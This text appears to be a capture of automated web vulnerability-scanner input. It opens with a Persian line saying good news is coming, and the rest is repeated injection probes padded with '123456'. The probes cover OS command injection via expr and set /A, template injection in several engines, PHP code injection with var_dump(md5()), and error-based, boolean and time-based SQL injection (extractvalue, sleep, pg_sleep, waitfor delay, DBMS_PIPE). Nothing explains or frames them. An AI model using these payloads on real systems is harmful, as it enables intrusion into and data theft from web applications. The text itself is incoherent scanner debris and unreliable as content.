خبرهای خوبی در راه است.....
123456
123456expr 885376237 + 978615899
${@var_dump(md5(152659658))};
123456|expr 946182333 + 933798546
/*1*/{{892131279+983618871}}
'-var_dump(md5(136197662))-'
${847323515+932131128}
123456$(expr 963452961 + 938555893)
123456&set /A 815485608+808894454
${(860941872+948842375)?c}
#set($c=860488601+969039406)${c}$c
expr 834521169 + 927564935
<%- 999739774+993859451 %>
${839649754+849919048}
123456'and/**/extractvalue(1,concat(char(126),md5(1446547883)))and'
123456"and/**/extractvalue(1,concat(char(126),md5(1601494178)))and"
extractvalue(1,concat(char(126),md5(1994823225)))
123456'and(select'1'from/**/cast(md5(1973670812)as/**/int))>'0
123456/**/and/**/cast(md5('1757456771')as/**/int)>0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1885282755')))
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1001041398')))>'0
123456鎈'"\(
123456'"\(
123456/**/and+2=2
123456/**/and+0=5
123456'and's'='s
123456'and's'='z
123456"and"q"="q
123456"and"c"="v
(select*from(select+sleep(0)union/**/select+1)a)
(select*from(select+sleep(7)union/**/select+1)a)
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456'and(select*from(select+sleep(7))a/**/union/**/select+1)='
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456"and(select*from(select+sleep(7))a/**/union/**/select+1)="
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456/**/and(select+1/**/from/**/pg_sleep(7))>0/**/
123456expr 991435751 + 948298893
123456|expr 948525672 + 864760018
123456$(expr 948466962 + 997880005)
${@var_dump(md5(960818348))};
123456&set /A 888113940+905672928
expr 951326239 + 998114743
'-var_dump(md5(247815659))-'
123456/**/and+4=4
123456'and'l'='l
${836204560+944705297}
123456'and'f'='r
123456"and"g"="g
123456"and"o"="i
/*1*/{{999125125+816394767}}
${877685103+999406868}
${(813128286+998764976)?c}
#set($c=897483389+839414373)${c}$c
<%- 810448467+895763902 %>
123456'and(select*from(select+sleep(8))a/**/union/**/select+1)='
123456"and(select*from(select+sleep(8))a/**/union/**/select+1)="
123456/**/and(select+1/**/from/**/pg_sleep(8))>0/**/
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456'/**/and(select'1'from/**/pg_sleep(8))::text>'0
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456'and/**/extractvalue(1,concat(char(126),md5(1711070340)))and'
123456/**/and(select+1)>0waitfor/**/delay'0:0:8'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456'and(select+1)>0waitfor/**/delay'0:0:8
123456"and/**/extractvalue(1,concat(char(126),md5(1741466596)))and"
extractvalue(1,concat(char(126),md5(1949377236)))
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('w',0)
123456'and(select'1'from/**/cast(md5(1700092508)as/**/int))>'0
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('g',8)
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',0)='w
123456/**/and/**/cast(md5('1714883759')as/**/int)>0
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',8)='y
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1190293484')))
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1559417897')))>'0
123456
123456
expr 885376237 + 978615899
123456
${@var_dump(md5(152659658))};
123456
123456|expr 946182333 + 933798546
/*1*/{{892131279+983618871}}
'-var_dump(md5(136197662))-'
123456
123456
${847323515+932131128}
123456$(expr 963452961 + 938555893)
123456
123456
123456
123456
123456&set /A 815485608+808894454
${(860941872+948842375)?c}
123456
#set($c=860488601+969039406)${c}$c
123456
expr 834521169 + 927564935
123456
123456
123456
123456
123456
123456
123456
<%- 999739774+993859451 %>
123456
123456
123456
123456
123456
123456
123456
${839649754+849919048}
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456'and/**/extractvalue(1,concat(char(126),md5(1446547883)))and'
123456
123456
123456
123456"and/**/extractvalue(1,concat(char(126),md5(1601494178)))and"
123456
extractvalue(1,concat(char(126),md5(1994823225)))
123456
123456
123456'and(select'1'from/**/cast(md5(1973670812)as/**/int))>'0
123456
123456
123456/**/and/**/cast(md5('1757456771')as/**/int)>0
123456
123456
123456
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1885282755')))
123456
123456
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1001041398')))>'0
123456
123456
123456
123456鎈'"\(
123456
123456
123456'"\(
123456
123456
123456
123456
123456
123456/**/and+2=2
123456
123456/**/and+0=5
123456
123456'and's'='s
123456'and's'='z
123456
123456"and"q"="q
123456
123456
123456"and"c"="v
123456
(select*from(select+sleep(0)union/**/select+1)a)
(select*from(select+sleep(7)union/**/select+1)a)
123456
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456'and(select*from(select+sleep(7))a/**/union/**/select+1)='
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456"and(select*from(select+sleep(7))a/**/union/**/select+1)="
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456/**/and(select+1/**/from/**/pg_sleep(7))>0/**/
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
expr 991435751 + 948298893
123456
123456|expr 948525672 + 864760018
123456
123456
123456$(expr 948466962 + 997880005)
123456
${@var_dump(md5(960818348))};
123456&set /A 888113940+905672928
123456
123456
123456
expr 951326239 + 998114743
'-var_dump(md5(247815659))-'
123456
123456/**/and+4=4
123456
123456
123456
123456
123456/**/and+0=5
123456
123456
123456'and'l'='l
123456
123456
${836204560+944705297}
123456'and'f'='r
123456
123456
123456
123456"and"g"="g
123456
123456
123456
123456"and"o"="i
123456
123456
/*1*/{{999125125+816394767}}
123456
${877685103+999406868}
123456
${(813128286+998764976)?c}
123456
#set($c=897483389+839414373)${c}$c
<%- 810448467+895763902 %>
123456
123456
123456
(select*from(select+sleep(0)union/**/select+1)a)
123456
123456
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456'and(select*from(select+sleep(8))a/**/union/**/select+1)='
123456
123456
123456
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456
123456
123456
123456"and(select*from(select+sleep(8))a/**/union/**/select+1)="
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456/**/and(select+1/**/from/**/pg_sleep(8))>0/**/
123456
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456
123456'/**/and(select'1'from/**/pg_sleep(8))::text>'0
123456
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456'and/**/extractvalue(1,concat(char(126),md5(1711070340)))and'
123456/**/and(select+1)>0waitfor/**/delay'0:0:8'/**/
123456
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456
123456'and(select+1)>0waitfor/**/delay'0:0:8
123456"and/**/extractvalue(1,concat(char(126),md5(1741466596)))and"
123456
extractvalue(1,concat(char(126),md5(1949377236)))
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('w',0)
123456
123456'and(select'1'from/**/cast(md5(1700092508)as/**/int))>'0
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('g',8)
123456
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',0)='w
123456/**/and/**/cast(md5('1714883759')as/**/int)>0
123456
123456
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',8)='y
123456
123456
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1190293484')))
123456
123456
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1559417897')))>'0
123456
123456鎈'"\(
123456
123456'"\(
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456